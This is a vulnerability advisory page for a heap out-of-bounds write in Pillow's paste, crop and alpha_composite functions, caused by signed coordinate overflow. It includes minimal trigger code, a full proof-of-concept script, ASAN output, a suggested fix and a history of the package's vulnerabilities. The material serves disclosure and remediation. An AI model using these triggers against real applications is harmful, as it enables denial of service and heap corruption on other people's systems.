Hoch

Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow

  • Veröffentlicht: 14.07.2026
  • Aktualisiert: 11.10.2026 15:17

Summary

Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as RGBA, this becomes a controlled backward heap underwrite: for a source image of width W, Pillow writes 4 * W attacker-controlled bytes starting 4 * W bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row.

Minimal public API trigger:

python
from PIL import Image

INT_MIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

The same root cause is also reachable through Image.crop() and Image.alpha_composite(). No private API, ctypes, custom Python object, or malformed image file is needed.

This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with double free or corruption (out)

Details

src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native ImagingCore.paste() method:

python
self.im.paste(source, box)

src/_imaging.c:_paste() parses the four Python coordinates into signed int values and calls ImagingPaste():

c
int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);

src/libImaging/Paste.c:ImagingPaste() computes and clips the region using signed int arithmetic:

c
xsize = dx1 - dx0;
ysize = dy1 - dy0;

if (dx0 + xsize > imOut->xsize) {
    xsize = imOut->xsize - dx0;
}

With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2. That matches the 2-pixel source image, so the size check passes. The later dx0 + xsize clip check wraps around and does not reject the out-of-bounds destination.

For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by pixelsize:

c
dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);

For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation.

The primitive scales with the attacker-controlled source width:

source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)

C destination offset = -4 * W
C memcpy size        =  4 * W
write range          = [row_start - 4W, row_start)

Examples for RGBA:

W = 2         -> writes 8 bytes before the row
W = 1024      -> writes 4096 bytes before the row
W = 65536     -> writes 256 KiB before the row
W = 1000000   -> writes about 4 MiB before the row

Pillow's image creation guard currently limits xsize to roughly INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is 2,147,483,640 bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state.

Two other documented APIs reach the same sink:

python
# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))

Image.crop() keeps right - left small, so the Python decompression-bomb check allows it. src/libImaging/Crop.c then computes wrapped paste coordinates and calls ImagingPaste().

PoC

The following standalone script exercises all three public API paths. Save it as b021_poc.py and run it with paste, crop, or alpha.

python
#!/usr/bin/env python3
import argparse
import sys

from PIL import Image


INT_MIN = -(1 << 31)


def rgba_pattern(width):
    out = bytearray()
    for i in range(width):
        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
    return bytes(out)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "variant",
        choices=("paste", "crop", "alpha"),
        nargs="?",
        default="paste",
    )
    parser.add_argument("-w", "--width", type=int, default=2)
    args = parser.parse_args()

    width = args.width
    src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))

    if args.variant == "paste":
        box = ((1 << 31) - width, 0, INT_MIN, 1)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=paste box={box}")
        print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
        sys.stdout.flush()
        dst.paste(src, box)
        print("paste returned; first row:", dst.tobytes().hex())

    elif args.variant == "crop":
        left = INT_MIN + width
        box = (left, 0, left + width, 1)
        print(f"variant=crop box={box}")
        sys.stdout.flush()
        out = src.crop(box)
        print("crop returned; output:", out.tobytes().hex())

    else:
        dest = (INT_MIN + width, 0)
        dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
        print(f"variant=alpha dest={dest}")
        sys.stdout.flush()
        dst.alpha_composite(src, dest=dest)
        print("alpha_composite returned; first row:", dst.tobytes().hex())

    sys.stdout.flush()


if __name__ == "__main__":
    main()

Run against an ASAN build:

bash
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py paste

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py crop

env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
  python b021_poc.py alpha

Observed ASAN signature for the direct Image.paste() path:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region

On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal Image.paste() trigger returns from paste() and then the process aborts during cleanup with:

double free or corruption (out)
Aborted (core dumped)

Observed ASAN signature for the Image.crop() and Image.alpha_composite() paths:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090

Suggested fix

Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints.

For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons:

c
int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;

if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
    return ImagingError_ValueError("bad box");
}

ImagingCrop() should receive the same treatment for sx1 - sx0, dx0 = -sx0, and dx1 = imIn->xsize - sx0.

Impact

This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs.

Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct Image.paste() variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For RGBA, the write is a backward heap underwrite whose offset and length are both 4 * source_width, bounded in practice by successful image allocation and heap layout.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow < 12.3.0 12.3.0

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-190, CWE-787
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
14.07.2026
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3451 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-6r8x-57c9-28j4 - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (82) im Archiv
Einträge insgesamt
82
Erste → letzte
04.2014 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 11
  • Hoch 53
  • Mittel 16
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 24

früher: 12

Schweregrad:
  1. Kritisch CVE-2026-112403 < 13.0.0 13.0.0
  2. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  3. Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow dieser Eintrag
    Hoch · 7.5 CVE-2026-59199 < 12.3.0 12.3.0
  4. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  5. Hoch · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  6. Hoch CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  7. Hoch · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  8. Hoch · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  9. Kritisch · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  10. Hoch · 8.8 In Angriffen ausgenutzt CVE-2023-4863 < 10.0.1 10.0.1
  11. Hoch · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  12. Hoch · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  13. Hoch · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  14. Kritisch · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  15. Hoch · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  16. Kritisch · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  17. Hoch · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  18. Hoch · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  19. Hoch · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  20. Hoch · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  21. Hoch · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  22. Hoch · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  23. Hoch · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  24. Hoch · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  25. Kritisch · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  26. Hoch · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  27. Hoch · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  28. Hoch · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  29. Hoch · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  30. Hoch · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  31. Kritisch · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  32. Hoch · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
  33. Hoch · 5.5 CVE-2020-10177 < 7.1.0 7.1.0
  34. Hoch · 7.5 CVE-2019-19911 < 6.2.2 6.2.2
  35. Hoch · 7.1 CVE-2020-5313 < 6.2.2 6.2.2
  36. Kritisch · 9.8 CVE-2020-5312 < 6.2.2 6.2.2
  37. Kritisch · 9.8 CVE-2020-5311 < 6.2.2 6.2.2
  38. Kritisch · 8.8 CVE-2020-5310 < 6.2.2 6.2.2
  39. Hoch · 6.5 CVE-2016-2533 < 3.1.1 3.1.1
  40. Kritisch · 9.8 CVE-2016-4009 < 3.1.1 3.1.1
  41. Hoch · 6.5 CVE-2016-0775 < 3.1.1 3.1.1
Mehr anzeigen (4) 60 von 64 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.